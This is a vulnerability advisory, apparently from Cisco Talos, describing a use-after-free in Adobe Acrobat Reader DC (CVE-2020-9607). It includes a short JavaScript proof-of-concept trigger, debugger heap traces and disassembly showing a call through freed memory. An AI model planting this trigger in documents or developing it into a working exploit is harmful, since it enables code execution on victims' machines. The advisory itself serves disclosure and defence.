CVE-2020-9607
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2020.006.20034. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Reader 2020.006.20034
https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Javascript allows manipulation of annotations attached to pages in the PDF.
There exists a vulnerability in a way Adobe Reader handles destruction of annotations from inside event handlers that can lead to use after free vulnerability.
The following excerpt from a PoC demonstrates this:
getField("Push Button0").setAction("OnBlur",'this.getAnnots()[0].destroy();');
app.activeDocs[0].getField('Push Button0').setFocus();
// cause button to lose focus
try { this.getAnnots()[0].destroy(); } catch(e) { }
Above code first attaches a handler to an OnBlur
action of a button. This event handler simply gets an annotation and destroys it. By setting and removing focus from a button, this handler is triggered. Then, destruction of the same annotation is called again. Since the annotation has already been destroyed, the second call to destroy
should fail, but a stale reference causes the destroy()
to proceed again, which leads to a use-after-free condition. This can be observed by following the object lifetime in the debugger. First call to destroy()
end up in the following function call:
Breakpoint 1 hit
eax=0cbb895c ebx=3b014fb0 ecx=65dc4ae0 edx=10000000 esi=65dc4ae0 edi=3b014fb0
eip=6309c1e2 esp=0513b104 ebp=0513b120 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
Annots!PlugInMain+0x59552:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
6309c1e2 ffd6 call esi {AcroRd32!AcroWinMainSandbox+0x6bc0 (65dc4ae0)}
0:000> !heap -p -a poi(esp)
address 3b014fb0 found in
_DPH_HEAP_ROOT @ 7a11000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
45ee2068: 3b014fb0 4c - 3b014000 2000
? Annots!PlugInMain+44b4c0
67ceabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7751245b ntdll!RtlDebugAllocateHeap+0x00000039
77476dd9 ntdll!RtlpAllocateHeap+0x000000f9
77475ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77475d3e ntdll!RtlAllocateHeap+0x0000003e
764a1406 ucrtbase!_malloc_base+0x00000026
65dc1fb9 AcroRd32!AcroWinMainSandbox+0x00004099
630482c3 Annots!PlugInMain+0x00005633
63048264 Annots!PlugInMain+0x000055d4
630755c5 Annots!PlugInMain+0x00032935
63075534 Annots!PlugInMain+0x000328a4
63070887 Annots!PlugInMain+0x0002dbf7
63081735 Annots!PlugInMain+0x0003eaa5
65f5d728 AcroRd32!DllCanUnloadNow+0x00150138
65f5d233 AcroRd32!DllCanUnloadNow+0x0014fc43
65f5d19d AcroRd32!DllCanUnloadNow+0x0014fbad
65f5bc9c AcroRd32!DllCanUnloadNow+0x0014e6ac
65f5b6c2 AcroRd32!DllCanUnloadNow+0x0014e0d2
65f5b4da AcroRd32!DllCanUnloadNow+0x0014deea
65f5b25f AcroRd32!DllCanUnloadNow+0x0014dc6f
65e1d8ec AcroRd32!DllCanUnloadNow+0x000102fc
65e1d71f AcroRd32!DllCanUnloadNow+0x0001012f
742abf1b USER32!_InternalCallWinProc+0x0000002b
742a83ea USER32!UserCallWinProcCheckWow+0x000003aa
742a7f8a USER32!DispatchClientMessage+0x000000ea
742aa6d9 USER32!__fnDWORD+0x00000049
7749cd3d ntdll!KiUserCallbackDispatcher+0x0000004d
742a7a80 USER32!DispatchMessageW+0x00000010
66258619 AcroRd32!AX_PDXlateToHostEx+0x0012e989
66258681 AcroRd32!AX_PDXlateToHostEx+0x0012e9f1
66250c9c AcroRd32!AX_PDXlateToHostEx+0x0012700c
66260d2c AcroRd32!AX_PDXlateToHostEx+0x0013709c
In the above output, we can see an object of size 0x4c
at address 0x3b014fb0
is in use. Continuing execution over this function call we observe:
0:000> p
eax=00000001 ebx=3b014fb0 ecx=3b014fb0 edx=07a10000 esi=65dc4ae0 edi=3b014fb0
eip=6309c1e4 esp=0513b104 ebp=0513b120 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
Annots!PlugInMain+0x59554:
6309c1e4 eb09 jmp Annots!PlugInMain+0x5955f (6309c1ef)
0:000> !heap -p -a 3b014fb0
address 3b014fb0 found in
_DPH_HEAP_ROOT @ 7a11000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
45ee2068: 3b014000 2000
67ceae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77512c91 ntdll!RtlDebugFreeHeap+0x0000003e
77473c45 ntdll!RtlpFreeHeap+0x000000d5
77473812 ntdll!RtlFreeHeap+0x00000222
7649f43b ucrtbase!_free_base+0x0000001b
7649f408 ucrtbase!free+0x00000018
65dc4af9 AcroRd32!AcroWinMainSandbox+0x00006bd9
6309c1e4 Annots!PlugInMain+0x00059554
6309aa08 Annots!PlugInMain+0x00057d78
6309a93b Annots!PlugInMain+0x00057cab
6318a771 Annots!PlugInMain+0x00147ae1
63187fad Annots!PlugInMain+0x0014531d
630ef54b Annots!PlugInMain+0x000ac8bb
630eed21 Annots!PlugInMain+0x000ac091
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
63844df5 EScript!mozilla::HashBytes+0x000443b5
63828588 EScript!mozilla::HashBytes+0x00027b48
63822fdf EScript!mozilla::HashBytes+0x0002259f
63821e6e EScript!mozilla::HashBytes+0x0002142e
63821d7e EScript!mozilla::HashBytes+0x0002133e
63821cb3 EScript!mozilla::HashBytes+0x00021273
6380a32c EScript!mozilla::HashBytes+0x000098ec
6384bca9 EScript!mozilla::HashBytes+0x0004b269
6384b964 EScript!mozilla::HashBytes+0x0004af24
6384b52c EScript!mozilla::HashBytes+0x0004aaec
6384a357 EScript!mozilla::HashBytes+0x00049917
638ca83f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006f94f
665b1f7f AcroRd32!AIDE::PixelPartInfo::operator=+0x000316af
665ad6a3 AcroRd32!AIDE::PixelPartInfo::operator=+0x0002cdd3
6635c542 AcroRd32!AX_PDXlateToHostEx+0x002328b2
6635caba AcroRd32!AX_PDXlateToHostEx+0x00232e2a
665b1b9f AcroRd32!AIDE::PixelPartInfo::operator=+0x000312cf
665b17d3 AcroRd32!AIDE::PixelPartInfo::operator=+0x00030f03
This time, we can observe the same object is freed. Continuing execution until a crash we can observe the following:
0:000> g
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): C++ EH exception - code e06d7363 (first chance)
(a78.13bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0d750000 ebx=00000000 ecx=00000000 edx=00000000 esi=65f32350 edi=3b014fb0
eip=63108e21 esp=0513ca50 ebp=0513ca90 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
Annots!PlugInMain+0xc6191:
63108e21 8b07 mov eax,dword ptr [edi] ds:002b:3b014fb0=????????
0:000> !heap -p -a edi
address 3b014fb0 found in
_DPH_HEAP_ROOT @ 7a11000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
45ee2068: 3b014000 2000
67ceae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77512c91 ntdll!RtlDebugFreeHeap+0x0000003e
77473c45 ntdll!RtlpFreeHeap+0x000000d5
77473812 ntdll!RtlFreeHeap+0x00000222
7649f43b ucrtbase!_free_base+0x0000001b
7649f408 ucrtbase!free+0x00000018
65dc4af9 AcroRd32!AcroWinMainSandbox+0x00006bd9
6309c1e4 Annots!PlugInMain+0x00059554
6309aa08 Annots!PlugInMain+0x00057d78
6309a93b Annots!PlugInMain+0x00057cab
6318a771 Annots!PlugInMain+0x00147ae1
63187fad Annots!PlugInMain+0x0014531d
630ef54b Annots!PlugInMain+0x000ac8bb
630eed21 Annots!PlugInMain+0x000ac091
63844df5 EScript!mozilla::HashBytes+0x000443b5
63828588 EScript!mozilla::HashBytes+0x00027b48
63822fdf EScript!mozilla::HashBytes+0x0002259f
63821e6e EScript!mozilla::HashBytes+0x0002142e
63821d7e EScript!mozilla::HashBytes+0x0002133e
63821cb3 EScript!mozilla::HashBytes+0x00021273
6380a32c EScript!mozilla::HashBytes+0x000098ec
6384bca9 EScript!mozilla::HashBytes+0x0004b269
6384b964 EScript!mozilla::HashBytes+0x0004af24
6384b52c EScript!mozilla::HashBytes+0x0004aaec
6384a357 EScript!mozilla::HashBytes+0x00049917
638ca83f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006f94f
665b1f7f AcroRd32!AIDE::PixelPartInfo::operator=+0x000316af
665ad6a3 AcroRd32!AIDE::PixelPartInfo::operator=+0x0002cdd3
6635c542 AcroRd32!AX_PDXlateToHostEx+0x002328b2
6635caba AcroRd32!AX_PDXlateToHostEx+0x00232e2a
665b1b9f AcroRd32!AIDE::PixelPartInfo::operator=+0x000312cf
665b17d3 AcroRd32!AIDE::PixelPartInfo::operator=+0x00030f03
In the above , we see a crash that dereferences a pointer to the same object which is still free. This constitutes a use-after-free vulnerability. Further more, the initial use-after-free happens a couple of instructions before an indirect call with call target coming from freed memory:
0:000> u Annots!PlugInMain+0xc6191 L20
Annots!PlugInMain+0xc6191:
63108e21 8b07 mov eax,dword ptr [edi]
63108e23 8d4ddc lea ecx,[ebp-24h]
63108e26 53 push ebx
63108e27 51 push ecx
63108e28 8b7018 mov esi,dword ptr [eax+18h]
63108e2b 8bce mov ecx,esi
63108e2d ff1558f74763 call dword ptr [Annots!PlugInMain+0x43cac8 (6347f758)]
63108e33 8bcf mov ecx,edi
63108e35 ffd6 call esi
With careful memory manipulation between the time of free and reuse, control over reused memory can be gained which can lead to arbitrary code execution.
2019-03-19 - Vendor Disclosure
2020-05-12 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.